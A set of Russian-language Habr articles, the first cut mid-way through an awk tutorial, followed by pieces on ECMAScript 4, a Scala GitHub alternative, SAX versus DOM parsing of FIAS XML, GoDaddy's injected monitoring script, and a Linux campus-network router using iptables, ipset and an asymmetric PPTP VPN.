### Вывод конкретных строк столбца
Также можно указывать для вывода строку определённого столбца:
```
awk '{print $1}' information.txt | head -1
```
Вывод:
```
FirstName
```
Разделим эту команду на две части. Сначала `awk '{print $1}' information.txt` выводит первый столбец. Затем её результат (который мы видели выше) с помощью символа `|` передаётся на обработку команде `head`, где аргумент `-1` указывает на выбор первой строки столбца.
Для вывода двух строк команда будет такой:
```
awk '{print $1}' information.txt | head -2
```
Вывод:
```
FirstName
Dionysia
```
### Вывод строк с заданным шаблоном
Вы можете выводить строку, начинающуюся с заданной буквы. Например:
```
awk '/^O/' information.txt
```
Вывод:
```
Omega Night 45 Ontario 600
```
Эта команда выбирает все строки с текстом, начинающимся на `O`.
Действие команды начинается с символа `^`, который указывает на начало строки. После этого прописывается буква, с которой нужная вам строка должна начинаться.
По аналогичному принципу можно выводить строку, завершающуюся конкретным шаблоном:
```
awk '/0$/' information.txt
```
Вывод:
```
Thomas Shelby 30 Rio 400
Omega Night 45 Ontario 600
Giorgos Georgiou 35 London 300
```
Эта команда выводит строки, оканчивающиеся на `0` – здесь с помощью символа `$` мы указываем, как должна заканчиваться нужная строка.
При этом её можно несколько изменить:
```
awk '! /0$/' information.txt
```
Символ `!` используется в качестве приставки «НЕ», а значит, в этом случае будут выбраны строки, которые не оканчиваются на `0`.
```
firstName lastName age city ID
Wood Tinker 54 Lisbon N/A
Timmy Turner 32 Berlin N/A
```
### Использование регулярных выражений
Для вывода слов, содержащих определённые буквы, а также слов, соответствующих указанному шаблону, мы снова используем прямые слэши.
К примеру, если нас интересуют слова, содержащие `io`, мы пишем:
```
awk ' /io/{print $0}' information.txt
```
Вывод:
```
Thomas Shelby 30 Rio 400
Omega Night 45 Ontario 600
Giorgos Georgiou 35 London 300
```
Мы получили строки, в которых содержатся слова, содержащие `io`.
Теперь предположим, что в файле есть дополнительный столбец `department`:
```
firstName lastName age city ID department
Thomas Shelby 30 Rio 400 IT
Omega Night 45 Ontario 600 Design
Wood Tinker 54 Lisbon N/A IT
Giorgos Georgiou 35 London 300 Data
Timmy Turner 32 Berlin N/A Engineering
```
Для поиска всей информации о людях, работающих в `IT`, нужно указать искомую строку между `//`:
```
awk '/IT/' information.txt
```
Вывод:
```
Thomas Shelby 30 Rio 400 IT
Wood Tinker 54 Lisbon N/A IT
```
А что, если мы хотим увидеть только имена и фамилии сотрудников из `IT`?
Тогда можно указать столбец так:
```
awk '/IT/{print $1, $2}' information.txt
```
Вывод:
```
Thomas Shelby
Wood Tinker
```
В этом случае отобразятся только первый и второй столбцы строк, содержащих `IT`.
При поиске слов, содержащих конкретный шаблон, бывают случаи, когда требуется использовать экранирующий символ:
```
awk '/N\/A$/' information.txt
```
Вывод:
```
Wood Tinker 54 Lisbon N/A
Timmy Turner 32 Berlin N/A
```
Я хотела найти строки, оканчивающиеся на `N/A`. Поэтому при указании критериев поиска в `' // '`, как это показывалось выше, мне пришлось использовать между `N/A` символ перехода `\`. В противном случае возникла бы ошибка.
### Использование операторов сравнения
Если вы, предположим, захотите найти всю информацию о сотрудниках в возрасте до 40 лет, то нужно будет использовать оператор сравнения `<` так:
```
awk '$3 < 40 { print $0 }' information.txt
```
Вывод:
```
Thomas Shelby 30 Rio 400
Giorgos Georgiou 35 London 300
Timmy Turner 32 Berlin N/A
```
В выводе представлена информация о людях моложе 40.
Заключение
----------
Вот и всё. Теперь у вас есть необходимая основа для начала работы с `awk` и управления текстовыми данными.
Благодарю за чтение и успехов вам в обучении!
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=komanda_awk_primery_ispolzovaniya_v_linux_i_unix) | https://habr.com/ru/post/665084/ | null | ru | null |
# ECMAScript 4: версия, которой не было
> **Будущих студентов курса** [**"Javascript Developer. Basic"**](https://otus.pw/uQPf/) **приглашаем посетить** [**demo day**](https://otus.pw/HwmR/)**, в рамках которого вы сможете подробно узнать о процессе обучения и программе курса, а также задать вопросы нашим экспертам**[**.**](https://otus.pw/9dub/)
>
> А пока подготовили традиционный перевод интересной статьи.
>
>
---
Вы наверняка заметили, что в системах сборки кода используются спецификации ECMAScript 3, затем ECMAScript 5 и так далее. ECMAScript 4 не используется никогда. Почему?
Я подумал, что было бы интересно изучить историю ECMAScript 4 и выяснить, чего мы лишились.
### Краткая история
Согласно [Википедии](https://en.wikipedia.org/wiki/ECMAScript#4th_Edition_(abandoned)), первая версия ECMAScript 4 появилась в феврале 1999 года. Работу над спецификацией планировалось завершить к августу 2008 года.
Язык ECMAScript 4 был перспективной разработкой, в нем появилось множество новых возможностей, которых очень не хватало в ECMAScript 3. В четвертой редакции были исправлены некоторые недочеты ECMAScript 3, в связи с чем ES4 стал несовместим предыдущими версиями.
С самого начала вокруг ES4 разгорелось много споров, большинство разработчиков браузеров новинку не поддержали, и работу над ES4 пришлось прекратить.
В 2008 году от ES4 официально отказались, а стандарт ES3.1 переименовали в ES5. Это было более скромное, корректировочное обновление ECMAScript.
Пожалуй, в то время больше всего на ES4 был похож ActionScript 3 для Flash-приложений. После выпуска AS3 некоторые из нас даже думали, что Flash и веб в конце концов станут единым целым.
В блоге auth0 опубликована [шикарная статья](https://auth0.com/blog/the-real-story-behind-es4/) о борьбе за ES4 и об истории его разработки. Рекомендую ознакомиться.
### А что могло бы быть?
#### Классы
Классы все-таки появились в ES6, но вот как мог бы выглядеть код, если бы это произошло раньше.
```
class C {
var val
var number = 500;
const pi = 3.14
// A function
function f(n) { return n+val*2 }
// Getters and setters
function set foo(n) {
val = n;
}
function get foo() {
return val;
}
}
```
Синтаксис здесь отличается от современного, однако в классах уже есть свойства и используются константы. [Объявление полей](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields) сейчас находится на стадии «эксперимента», так что в этом плане мы практически наверстали упущенное.
Обратите внимание, что здесь нет ключевого слова this. Вместо того чтобы по умолчанию считать переменные глобальными, в ES4 сначала проверяются переменные класса, а затем проверяются верхние области видимости.
Также в ES4 были следующие ключевые слова для определения элементов классов:
1. `static`
2. `final`
3. `private,` `protected`, `public`.
4. `prototype` — для определения элемента класса по прототипу. Не знаю, где это можно использовать, но, видимо, где-то можно.
#### Интерфейсы
В ES4 появились интерфейсы. К сожалению, на современном этапе эта возможность реализована только в Typescript.
```
interface MyInterface {
function foo();
}
```
#### Строгая типизация
В ES4 появилась строгая типизация.
```
function add(a: int, b:int): int {
return a + b;
}
```
Также в нем было ключевое слово `type`, работающее аналогично объединению типов в Typescript. В Typescript объединение типов записывается так:
```
let a : number | string;
```
А в ES4 так:
```
var a: (number, string)
```
В ES4 также были дженерики:
```
class Wrapper {
inner: T
}
```
#### Like
По умолчанию типы в ES4 являются точными типами, а не надмножествами. Ключевое слово `like` позволяет снять это ограничение.
```
function getCell(coords: like { x: int, y: int }) {
}
```
Скорее всего, такая возможность была предусмотрена в ES4 потому, что в нем использовалась номинативная типизация, а не структурная, как в Typescript.
#### Новые типы данных
Сейчас в ES есть `boolean`, `object`, `array`, `number`, `BigInt`. В ES4 планировали добавить еще несколько типов данных:
1. `byte`
2. `int`
3. `unit`
4. `double`
5. `decimal`
Сейчас из этого списка в ES планируется добавить только `decimal`, и, вероятно, при использовании этого типа код будет выглядеть так:
```
const allowance = 1.50m
```
В ES4 также был суффикс m, который означал деньги (money).
#### Строки в тройных кавычках
Для записи строки `Hello my name is "Evert"` в ES4 можно использовать тройные кавычки:
```
const hi = """Hello my name is "Evert"""";
```
#### Пакеты
Пакеты напоминают современные модули. Их можно импортировать, но, в отличие от модулей ES6, пространства имен больше похожи на глобальную систему именования.
Если класс определяется так:
```
package com.evertpot {
// Private
internal const foo = 5;
class MyClass {
}
}
```
то его можно использовать таким образом:
```
const myObj = com.evertpot.MyClass;
```
или:
```
import * from com.evertpot;
const myObj = MyClass;
```
Насколько я знаю, стандарт не устанавливает связи между пространствами имен и расположением загружаемых файлов.
#### Универсальные (generic) функции
Универсальные функции не следует путать с параметризованными функциями. Функции этого вида немного напоминают [«перегруженные функции»](https://www.typescriptlang.org/docs/handbook/functions.html) в Typescript, но они гораздо мощнее.
Пример
```
class Foo {
generic function addItem(x);
function addItem(x: int) {
}
function addItem(x: number) {
}
}
```
В этом примере я вызываю функцию `addItem` двумя способами — с использованием типов `int` и `number`. Необходимый способ будет выбран при исполнении кода.
#### E4X
С технической точки зрения E4X — это расширение ES4, но оно заслуживает внимания.
E4X означает ECMAScript для XML. Может быть, звучит не очень интересно, но взгляните на код:
```
const myClass = 'welcome';
const name = 'Evert';
const foo = {"Hello " + name };
```
Знакомо?
Это, конечно, не [JSX](https://reactjs.org/docs/introducing-jsx.htm:/reactjs.org/docs/introducing-jsx.html), но вполне вероятно, что это расширение могло лежать в основе JSX.
И хотя спецификация ES4 так и не вышла, расширение E4X на самом деле работало в Firefox вплоть до десятой версии.
#### Дополнительные возможности
* Синтаксис `let const` для задания констант на уровне блока. В ES5 и последующих версиях областью видимости констант (`const`) уже является блок.
* Генераторы (`yield`).
* Хвостовая рекурсия.
* Пространства имен для свойств, классов и других элементов (во многом похожие на пространства имен XML), которые позволяют избежать конфликтов.
### Как бы загружались скрипты?
Поскольку ECMAScript 4 несовместим с предыдущими версиями, важно было бы сообщить браузеру, что скрипт нужно интерпретировать как ES4:
Примерно так же мы поступаем с модулями:
### Заключение
Надеюсь, вам было интересно почитать о том, каким мог бы быть JavaScript. Мы потихоньку приближаемся к этому стандарту в новых редакциях ECMAScript: появились такие инструменты, как Typescript и препроцессоры JSX, — но нам еще далеко до того уровня ECMAScript, который существовал в 2007 году.
Вероятно, если бы ES4 увидел свет, то многим из нас не приходилось бы использовать для сборки такие сложные инструменты как Babel, Webpack и Typescript.
---
> [Узнать подробнее о курсе "Javascript Developer. Basic"](https://otus.pw/HwmR/).
>
> *Записаться на открытый урок можно* [*здесь.*](https://otus.pw/9dub/)
>
>
---
### Читать ещё:
* [Компоновщик в JavaScript](https://habr.com/ru/company/otus/blog/518634/)
* [Почему это антипаттерн?](https://habr.com/ru/company/otus/blog/520072/)
* [Compose повсюду: композиция функций в JavaScript](https://habr.com/ru/company/otus/blog/520692/) | https://habr.com/ru/post/529796/ | null | ru | null |
# Еще один open source аналог Github
На данный момент времени, есть следующие альтернативы github:
* Сам github fi (стоит 5000$, не open source)
* [Gitorious](http://gitorious.org/) (open source, написан на RoR, использует ActiveMQ, короче — зверь машина)
* Недавно появившийся [gitlab](http://habrahabr.ru/blogs/Git/130570/) (open source, написан на ruby)
В этот список я хотел бы добавить мое приложение. Может быть, оно еще кому то пригодится. Что у него внутри:
* Написан на Scala
* Используется Lift
* Хранилище — MongoDB
* «Своя» реализация git, ssh, http демона. Первый с иcпользованием Apache Mina Core, а второй Mina SSHD, последний с Rest из Lift
* Для работы с git используется JGit
Могу похвастаться, что ставится проще чем конкуренты (что на linux, что на windows, при условии наличия Mongo):
```
$ git clone git://github.com/btd/luna.git
$ cd luna
$ sbt package
$ mkdir $JETTY_HOME/repo (дефолтовая папка для хранения пользовательских реп)
$ mv ./target/scala-2.9.1.final/получившийся.war $JETTY_HOME/webapps/
```
Честно говоря не могу похвастаться тем, что все идеально работает — баги есть, стараюсь исправлять по мере нахождения.
Сейчас мое приложение умеет следующие вещи:
* Управление пользователями. Пользователи могут добавлять себе репозитории, добавлять к репозиториям коллабораторов.
* Управление репозиториями. Можно задавать отдельные ключи для репозитория, форкать. Публичный/приватный репозитории
* Пулл реквесты
* История коммитов, просмотр дерева исходников на коммите и просмотр diff
* Доступ по ssh (чтение и запись), git(чтение), http(чтение и запись)
* Оповещения о пушах на email. Используется camel так, что на практике можно добавить другие транспорты.
Profit для меня:
* Изучил scala и lift (это мое первое приложение на scala)
* Узнал кучу нового о git
* Изучил библиотеку Apache Mina, Apache Camel, JGit. Открывал issue, добавлял функционал (патчи приняли).
* Еще один конкурент системам, приведенным вначале статьи
---
Ссылки и уточнения:
* [Google Code](http://code.google.com/p/luna-tool/)
* [Github](https://github.com/btd/luna)
* [Баги и Roadmap](https://github.com/btd/luna/issues)
* [Демка](http://luna-tool.org/btd) (обновляю его не часто) | https://habr.com/ru/post/133306/ | null | ru | null |
# SAX-парсер python vs DOM-парсер python. Парсим ФИАС-houses
В предыдущей [статье](https://habr.com/ru/post/468637/) был рассмотрен подход к созданию csv из xml на базе данных, которые публикует ФИАС. В основу парсинга был положен DOM-парсер, загружающий в память весь файл целиком перед обработкой, что приводило к необходимости дробления файлов большого размера в виду ограниченного объема оперативной памяти. В этот раз предлагается посмотреть насколько хорош SAX-парсер и сравнить его скорость работы c DOM-парсером. В качестве подопытного будет использоваться наибольший из файлов базы ФИАС — houses, размером 27,5 ГБ.
### Вступление
Вынуждены сразу огорчить почтеннейшую публику — сходу скормить SAX-парсеру файл БД ФИАС houses не удастся. Парсер вылетает с ошибкой «not well-formed (invalid token)». И первоначально были подозрения, что файл БД битый. Однако после нарезки БД на несколько мелких частей было установлено, что вылеты вызваны измененной кодировкой для номеров домов и/или строений. То есть в тегах STRUCNUM либо HOUSENUM попадались дома с буквой, записанной в странной кодировке (не UTF-8 и не ANSI, в которой сформирован сам документ):
При этом, если эту кодировку выправить, прогнав файл через функцию remove\_non\_ascii, запись принимала вид:
Такой файл также не поглощался парсером, из-за лишних знаков.
Пришлось вспоминать регулярные выражения и чистить файл перед загрузкой в парсер.
Вопрос: почему нельзя создать нормальную БД, которая выкладывается для работы приобретает оттенок риторического.
Чтобы выровнять стартовые возможности парсеров, очистим тестовый фрагмент от вышеуказанных нестыковок.
Код для очистки файла БД перед загрузкой в парсер:
**Код**
```
from datetime import datetime
import re
from unidecode import unidecode
start = datetime.now()
f= open('AS_HOUSE.462.xml', 'r',encoding='ANSI')
def remove_non_ascii(text):
return unidecode(unidecode(text))
for line in f:
b=remove_non_ascii(line)
for c in re.finditer(r'\w{5}NUM="\d{1,}\"\w\"',b):
print(c[0])
c1=c[0][:-3]+c[0][-2]
print(c1)
b=b.replace(c[0],c1) # замена в строке
#сохраняем результат
f1= open('out.xml', 'w',encoding='ANSI')
f1.write(b)
f1.close()
f.close()
print(datetime.now()- start)
```
Код переводит в xml-файле non\_ascii символы в нормальные и затем удаляет лишние "" в наименованиях строений и домов.
### SAX-парсер
Для старта возьмем небольшой xml файл (58,8 Мб), на выходе планируем получить txt или csv, удобный для дальнейшей обработки в pandas или excel.
**Код**
```
import xml.sax
import csv
from datetime import datetime
start = datetime.now()
class EventHandler(xml.sax.ContentHandler):
def __init__(self,target):
self.target = target
def startElement(self,name,attrs):
self.target.send(attrs._attrs.values())
def characters(self,text):
self.target.send('')
def endElement(self,name):
self.target.send('')
def coroutine(func):
def start(*args,**kwargs):
cr = func(*args,**kwargs)
cr.__next__()
return cr
return start
with open('out.csv', 'a') as f:
# example use
if __name__ == '__main__':
@coroutine
def printer():
while True:
event = (yield)
print(event,file=f)
xml.sax.parse("out.xml", EventHandler(printer()))
print(datetime.now()- start)
```
Выполнив программу получим значения словаря python:
Время выполнения: 5-6 сек.
### DOM-парсер
Обработаем тот же файл, предварительно загрузив его целиком в память. Именно такой метод использует DOM-парсер.
**Код**
```
import codecs,os
import xml.etree.ElementTree as ET
import csv
from datetime import datetime
parser = ET.XMLParser(encoding="ANSI")
tree = ET.parse("out.xml",parser=parser)
root = tree.getroot()
Resident_data = open('AS_HOUSE.0001.csv', 'a',encoding='ANSI')
csvwriter = csv.writer(Resident_data)
attr_names = [
'HOUSEID', 'HOUSEGUID', 'AOGUID', 'HOUSENUM', 'STRUCNUM',
'STRSTATUS', 'ESTSTATUS', 'STATSTATUS', 'IFNSFL', 'IFNSUL',
'TERRIFNSFL', 'TERRIFNSUL', 'OKATO', 'OKTMO', 'POSTALCODE',
'STARTDATE', 'ENDDATE', 'UPDATEDATE', 'COUNTER', 'NORMDOC',
'DIVTYPE', 'REGIONCODE'
]
start = datetime.now()
object = []
for member in root.findall('House'):
object = [member.attrib.get(attr_name, None) for attr_name in attr_names]
csvwriter.writerow(object)
Resident_data.close()
print(datetime.now()- start)
```
Время выолнения 2-3 сек.
Победа DOM-парсера?
### Файлы побольше
Файлы небольшого размера не отражают действительности в полной мере. Возьмем файл побольше 353 Мб (предварительно почистив, как было указано выше).
Результаты погона:
SAX-парсер: 0:00:32.090836 — 32 сек
DOM-парсер: 0:00:16.630951 — 16 сек
Разница в 2 раза по скорости. Однако это не умаляет главного достоинства SAX-парсера — возможность обрабатывать файлы большого размера без предварительной загрузки в память.
Остается сожалеть, что данное достоинство не применимо к БД ФИАС, так как требуется предварительная работа с кодировками.
Файл для предварительной очистки кодировок:
— 353 Мб в [архиве](https://yadi.sk/d/F7BBNmfyeP6qQw).
Очищенный файл БД для тестов парсеров:
— 353 Мб в [архиве](https://yadi.sk/d/HC0GRf6wv3NhsA). | https://habr.com/ru/post/469995/ | null | ru | null |
# Клиенты GoDaddy недовольны JS-инъекциями со стороны хостера
Один из клиентов GoDaddy [обратил внимание](https://www.igorkromin.net/index.php/2019/01/13/godaddy-is-sneakily-injecting-javascript-into-your-website-and-how-to-stop-it/), что хостер внедряет в HTML-страницы своих пользователей посторонний JavaScript.
На админской стороне никаких скриптов не было, а со стороны клиента в коде появился с комментарием от хостера.
```
'undefined'=== typeof \_trfq || (window.\_trfq = []);'undefined'=== typeof \_trfd && (window.\_trfd=[]),\_trfd.push({'tccl.baseHost':'secureserver.net'}),\_trfd.push({'ap':'cpsh'},{'server':'xxxxxxxx0000'}) // Monitoring performance to make your website faster. If you want to opt-out, please contact web hosting support.
```
Конечно, комментарий объясняет поведение скрипта, который предназначен для мониторинга производительности. Но пользователь всё равно не мог поверить, что хостер производит инъекции JavaScript без его согласия.
Но GoDaddy действительно делает это. Технология называется Real User Metrics. В правилах использования сервиса написано, что все клиенты из США автоматически подписываются на эту услугу. Имеются в виду клиенты, чьи сайты располагаются в американском дата-центре. На страницы этих сайтов посторонний JavaScript внедряется по умолчанию.
Самое интересное, что даже в справочном разделе GoDaddy [признаёт](https://au.godaddy.com/help/why-am-i-signed-up-for-real-user-metrics-31969), что эти скрипты «могут замедлить или сломать ваш сайт».
Для отключения навязанной услуги следует щёлкнуть по кнопке с многоточием в правом верхнем углу админского интерфейса, выбрать пункт *Help us*, и далее *Opt Out*.
После этого посторонние скрипты исчезнут со страниц сайта. | https://habr.com/ru/post/436030/ | null | ru | null |
# Девятилетняя оптимизация маршрутизатора
Хочу рассказать историю жизни сервера в кампусной сети Новосибирского университета, которая началась в далеком 2004 году, а так же этапы его оптимизации и *даунгрейдинга*.
Многие вещи в статье покажутся общеизвестными хотя бы по той причине, что речь пойдет о событиях почти десятилетней давности, хотя на тот момент это были передовые технологии. По той же причине кое что вообще потеряло актуальность, но далеко не все, так как сервер до сих пор живет и обслуживает сетку из 1000 машин.
##### Сеть
Сама сеть существует с 1997г — это дата, когда все общежития были объединены в единую сеть и получили доступ в Интернет. До 2004 года кампусная сеть была построена полностью на меди, между общежитиями линки были проброшены кабелем П270 (благо, расстояние между общежитиями не превышало 350м, и линк, при использовании карт 3c905 поднимался «на сотке»). В каждом здании стоял свой сервер, в котором стояло по 3 сетевых карты. Две из них «смотрели» на соседние сервера, к третьей подключалась «локалка» общежития. Итого, все шесть (а столько было общаг в нашем университете) были замкнуты в кольцо, а маршруты между ними строились по протоколу OSPF, что позволяло, при обрыве линии запустить трафик в обход выпавшего звена. А обрывы случались часто: то гроза разразится и линк сляжет, то электрики нахимичат. Да и обслуживать сами сервера было не очень удобно, тем более они все были разношерстные: в разные годы от 486DX4 (да-да, с 8Мб ОЗУ, на ядре 2.0.36 и картах 3com она тянула два линка 100Мбит, правда загрузка была в потолок на голом роутинге без всяких ipfwadm) до AMD K6-2 и даже P4 2.8Ghz.
Минусы такой организации (помимо уж очень ненадежного по сегодняшним меркам линка) налицо: уж очень неудобно управлять пользовательской базой. Адреса белые, их количество ограничено. Договор привязывался к IP «пожизненно», то есть на весь срок обучения студента. Сеть нарезана на сегменты, размеры которых изначально были сделаны с учетом численности студентов в каждом общежитии. Но то студенты переезжают из общаги в общагу, то факультету Автоматики понадобилось заметно больше адресов, чем филологам — в общем жуть.
Ограничения доступа были по паре MAC-IP, ибо в времена «зачатия» сети сменить MAC-адрес сетевой карты, не имея под рукой программатора (а то и паяльника) было очень проблематично, а то и невозможно. Поэтому было достаточно держать актуальным файлик /etc/ethers и спасаться от 99% любителей халявы. О управляемых коммутаторах в те времена только мечтали, и уж точно ставить их в качестве абонентского оборудования было не по карману (так как сеть развивалась 100% на деньги самих студентов, а студенты, как известно, народ небогатый)
##### Звезда
В 2004 году подвернулась хорошая возможность: один из городских провайдеров предложил в обмен на пиринг между своей сетью и сетью кампуса безвозмездно соединить все здания по оптике. Ну как соединить — непосредственно монтажом оптики занималась инициативная группа студентов, а технари провайдера ее только разварили. В итоге, с использованием этой оптики удалось построить не кольцо, а звезду!
И тут родилась идея — поставить один хороший сервер, с несколькими гигабитными сетевыми картами, связать все линки в один bridge и сделать одну плоскую сеть, что позволило бы избавиться от головной боли с нарезанным на подсети адресным пространством, а так же позволило управлять доступом из одного места.
Так как шина PCI не смогла бы прокачать такой трафик, да и требуемых 6-8 гигабитных портов нельзя было получить за отсутствием такого количества PCI-разъемов на материнских платах, то было решено брать 2x Intel Quad Port Server Adapter на шине PCI-X 133Mhz. К таким сетевкам пришлось взять материнскую плату Supermicro X6DHE-XG2 по причине наличия аж трех PCI-X 133, ну и процессоры на нее, Xeon 3Ghz 2 шт (это те, что можно найти на ark.intel.com в разделе Legacy Xeon)
И понеслось: на сервер устанавливается RHELAS 2.1, заводится bridge, сеть склеивается в одну большую /22. И тут выясняется, что если ограничивать доступ паре сотен адресов с помощью правил типа:
`iptables -A FORWARD -s a.b.c.d -j REJECT`
то загрузка на сервере подпрыгивает до неприличных значений. Сервер не справляется?
##### Оптимизация 1
Поиск в Интернете подсказывает только появившийся тогда проект — **ipset**. Да, оказалось что это именно то, что нужно. В дополнение к тому, что можно было избавиться от большого количества однотипных записей в iptables, появилась возможность сделать привязку IP-MAC с использованием macipmap.
Одной из особенностей бриджа было то, что пакет, проходящий через бридж в каких-то случаях попадал в цепочку FORWARD, а в каких-то — нет. Оказалось, что в FORWARD попадают «маршрутизирующиеся» между интерфейсами пакеты, а «бриджующиеся» (то есть, входящие в br0 тут же и выходящие из br0) — не попадают.
Решением стало использование таблицы mangle вместо filter.
Так же получилось сделать привязку конкретного адреса не только к MAC, но и к общежитию, в котором проживал пользователь сети. Сделано было с использованием модуля iptables physdev и выглядело примерно так:
```
iptables -t mangle -A PREROUTING -m physdev --physdev-in eth1 -m set --set IPMAC_H1 src -j ACCEPT
iptables -t mangle -A PREROUTING -m physdev --physdev-in eth2 -m set --set IPMAC_H2 src -j ACCEPT
...
iptables -t mangle -A PREROUTING -i br0 -j DROP
```
Так как оптическая «звезда» была построена с помощью оптоконвертеров, то на каждое здание «смотрела» своя сетевая карта. И нужно было добавить всего лишь в сет IPMAC\_H1 пары MAC-IP пользователей первого общежития, в сет IPMAC\_H2 — второго общежития и так далее.
Порядок самих правил внутри iptables попытался сделать таким, чтобы выше были те правила, описывающие общежития, где пользователи более активные, что позволило пакетам быстрее проходить цепочки.
##### Оптимизация 2
Так как в итоге весь межобщажный и внешний трафик в итоге стал проходить через сервер то появилась идея в случае, если абонент отключен, или в случае несовпадения пары IP-MAC — отображать пользователю некую страничку с информацией, в которой бы разъяснялось, почему, собственно, не работает сеть. Показалось, что это не сложно. Нужно было вместо DROP пакетов, идущих на 80-й порт, сделать MARK пакета, а потом перенаправить помеченные пакеты с помощью DNAT на локальный веб-сервер.
Первая проблема оказалась в том, что если просто редиректить пакеты на вебсервер — вебсервер в 99% случаях отвечает, что страница не найдена. Потому как, если пользователь шел на [ark.intel.com/products/27100](http://ark.intel.com/products/27100), а вы завернули его на свой веб сервер, то маловероятно, что там будет страница products/27100, и вы в лучшем случае получите ошибку 404. Поэтому был написан простенький демон на С, который на любой запрос выдавал `Location: myserverru`
В последствии этот костыль был заменен на более красивое решение с mod\_rewrite.
Вторая, и наиболее существенная, проблема была в том, что как только в ядро был загружен модуль nat, то нагрузка опять подпрыгнула. Виновата конечно же таблица conntrack, а при таком количестве соединений и pps существующее железо не вывозило в часы максимальной нагрузки.
Сервер не справляется?
Начинаем думать. Поставленная цель довольно интересна, но на существующем железе не работает. Использование `-t raw -j NOTRACK` помогало, но не сильно. Решение была найдено такое: NAT-ить пакеты не на центральном маршрутизаторе, а на одной из старых машинок, которые еще оставались и использовались для различных сервисов типа p2p-сервера, игрового сервера, jabber-сервера, а то и просто стоящих без дела. В случае всплеска нагрузки на этом сервере в худшем случае абонент бы не получил сообщение в окне браузера, что он отключен (или что его IP не соответствует зарегистрированному MAC), и это не повлияло бы на работу остальных пользователей сети. А для того, чтобы доставить трафик пользователя на этот сервер с NAT использовалась команда:
`iptables -t mangle -A POSTROUTING -p tcp --dport 80 -j ROUTE --gw a.b.c.d`
которая просто подменяла адрес шлюза и отправляла пакет дальше в обход остальных цепочек.
Вообще, очень удобно было посылать «неугодные» пакеты таким образом на обработку на сторонний сервер, не заботясь о прохождении этим пакетом остальных цепочек типа filter, но с изменением архитектуры ядра этот патч из patch-o-matic стал не поддерживаемым.
Решение: маркировать нужные пакеты маркой 0x1, потом, с помощью ip rule fw посылать пакет в «другую» таблицу маршрутизации, где единственный маршрут — это наш сервер с NAT
```
iptables -t mangle -A PREROUTING -p tcp --dport 80 -j MARK --set-mark 0x1
ip route flush table 100
ip route add via a.b.c.d table 100
ip rule add fwmark 0x1 lookup 100
```
В итоге «хороший» трафик пропускался, а «плохим» пользователям показывалась страничка с информацией о блокировке. А так же, в случае несовпадения IP-MAC пользователь мог введя логин/пароль провести перепревязку на свой текущий МАС.
##### Оптимизация 3
Действие происходит во времена помегабайтного трафика, в общежитии. То есть в безденежной, интернетоактивной и IT-продвинутой среде пользователей. Значит простой привязки IP-MAC уже недостаточно, а случаи хищения интернет-трафика становятся повсеместными.
Единственный вменяемый по затратам вариант — vpn. Но, учитывая то, что к тому времени у сети кампуса появился бесплатный пиринг с полудюжиной городских операторов, гонять пиринговый трафик через vpn-сервер — не получится, он просто не вывезет. Конечно был возможен получивший распространение метод: в интернет — через vpn, в пиринг и локалку — батник с маршрутами. Но мне батник казался уж очень некрасивым решением. Рассматривался вариант с RIPv2, который на тот момент был «встроен» в большинство используемых ОС, но там оставался открытый вопрос с подлинностью анонсов. Без дополнительной настройки кто угодно мог рассылать маршруты, а в популярной тогда WindowXP и ее «Слушателе RIP» вообще никакой настройки не было.
Тогда был «придуман» «ассиметричный VPN». Клиент для выхода в интернет устанавливает обычное vpn-pptp соединение к серверу с логином/паролем, при этом снимая в настройках галочку «Использовать шлюз в удаленной сети». На клиентский конец тоннеля выдавался адрес 192.0.2.2, причем всем клиентам одинаковый, и как будет показано далее, вообще не имевший никакого значения.
На стороне VPN-сервера был модифицирован скрипт /etc/ppp/ip-up, выполняемый после аутентификации и поднятия интерфейса
```
PATH=/sbin:/usr/sbin:/bin:/usr/bin
export PATH
LOGDEVICE=$6
REALDEVICE=$1
[ -f /etc/sysconfig/network-scripts/ifcfg-${LOGDEVICE} ] && /etc/sysconfig/network-scripts/ifup-post ifcfg-${LOGDEVICE}
[ -x /etc/ppp/ip-up.local ] && /etc/ppp/ip-up.local "$@"
PEERIP=`/usr/local/bin/getip.pl $PEERNAME`
if [ $LOGDEVICE == $PEERIP ] ; then
ip ro del $PEERIP table vpn > /dev/null 2>/dev/null&
ip ro add $PEERIP dev $IFNAME table 101
else
ifconfig $IFNAME down
kill $PPPD_PID
fi
exit 0
```
То есть в переменную PEERIP из базы скриптом выдергивался IP-адрес, который должен быть у пользователя с PEERNAME (логином, под которым он подключился), и если этот адрес совпадает с IP, с которого произошло подключение (LOGDEVICE) к VPN-серверу, то весь трафик до этого IP маршрутизируется в интерфейс IFNAME посредством таблицы 101. Так же в таблице 101 шлюзом по умолчанию установлен 127.0.0.1
Весь маршрутизируемый трафик заворачивается в таблицу 101 правилом
`ip ru add iif eth0 lookup 101`
В итоге получаем, что трафик, пришедший на vpn-сервер, и следующий НЕ на vpn сервер (тот пойдет в таблицу local, которая есть по умолчанию) уходит в таблицу 101. А там «разбредется» по ppp-тоннелям. А если не найдет нужного, то просто дропнется.
Пример того, что получается в итоге в табличке 101 (ip r sh ta 101)
```
[root@vpn ~]# ip route show table 101
a.b.c.d dev ppp2 scope link
a.b.c.e dev ppp6 scope link
a.b.c.f dev ppp1 scope link
default via 127.0.0.1 dev lo
```
Теперь всего лишь остается завернуть на центральном маршрутизаторе весь трафик с «интернетного» интерфейса на vpn-шлюз, и без подключения к VPN интернета у пользователей не будет. Причем остальной трафик (пиринговый) будет бегать IPoE (то есть «обычным» способом), и не будет нагружать VPN-сервер. При появлении дополнительных пиринговых сетей пользователю не придется править никакие bat-файлы. Опять же, доступ до некоторых ресурсов внутренних, хоть IP, хоть портов, можно сделать через VPN, достаточно завернуть пакет на VPN-сервер.
При использовании данной методики злоумышленник конечно может путем подмены IP-MAC послать в интернет трафик, но не может получить ничего обратно, так как не поднят vpn-тоннель. Что практически напрочь убивает смысл подмены — «посидеть в интернете» с чужого IP теперь нельзя.
Для того, чтобы клиентские компьютеры могли получать пакеты через vpn-тоннель, нужно было в Windows выставить в реестре ключ IPEnableRouter=1, а в linux — rp\_filter=0. Иначе ОС не принимали ответы не с тех интерфейсов, куда отправляли запросы.
Затраты на реализацию почти нулевые, на ~700 одновременных подключений к vpn хаватло сервера уровня celeron 2Ghz, так как интернет трафик внутри ppp во времена помегабайтных тарифов был не очень большой. При этом пиринговый трафик бегал на скоростях до 6Гбит/с суммарно (через Xeon на S604)
##### Работает
